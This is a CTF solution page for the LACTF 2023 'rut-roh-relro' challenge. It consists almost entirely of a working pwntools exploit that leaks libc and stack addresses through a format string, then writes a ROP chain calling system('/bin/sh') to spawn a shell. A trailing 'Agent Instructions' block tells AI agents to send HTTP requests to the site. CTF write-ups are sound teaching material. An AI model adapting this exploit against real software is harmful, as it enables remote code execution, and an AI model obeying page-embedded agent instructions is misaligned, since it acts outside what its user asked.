# rut-roh-relro

### Solution

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./rut_roh_relro_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    if args.REMOTE:
        log.failure("To bad the event is over")
        quit()
    else:
        r = process([exe.path])

    return r


def ret_leaks(r):
    payload = b'%71$p|%72$p<-'
    r.recvuntil(b'?')
    r.sendline(payload)
    r.recvuntil(b'post:\n')
    leaks = r.recv(29).split(b'|')
    print(leaks)
    return leaks


get_libc    = lambda leaks : int(leaks[0],16) - 0x2718a
get_stack   = lambda leaks : int(leaks[1],16) - 0x300

def write_rop(stack):
    rdi_ret = libc.address + 0x90dac
    ret     = libc.address + 0xede3f 
    binsh   = libc.address + 0x196031
    system  = libc.address + 0x4c330

    write = {
            stack + 8* 65 : rdi_ret,
            stack + 8* 66 : binsh,
            stack + 8* 67 : ret,
            stack + 8* 68 : system
            }

    payload = fmtstr_payload(6, write, write_size="byte")
    return payload


def main():
    r = conn()
    leaks = ret_leaks(r)

    libc_base = get_libc(leaks)
    log.success(f"libc base: {hex(libc_base)}")
    libc.address = libc_base

    stack = get_stack(leaks)
    log.success(f"stack:     {hex(stack)}")

    payload = write_rop(stack)
    r.recvuntil(b'?')
    r.sendline(payload)
    r.recvuntil(b'Bye!\n')
    r.interactive()


if __name__ == "__main__":
    main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://trees-daily-journal.gitbook.io/trees-daily-journal/ctf-writeups/lactf/2023/rut-roh-relro.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
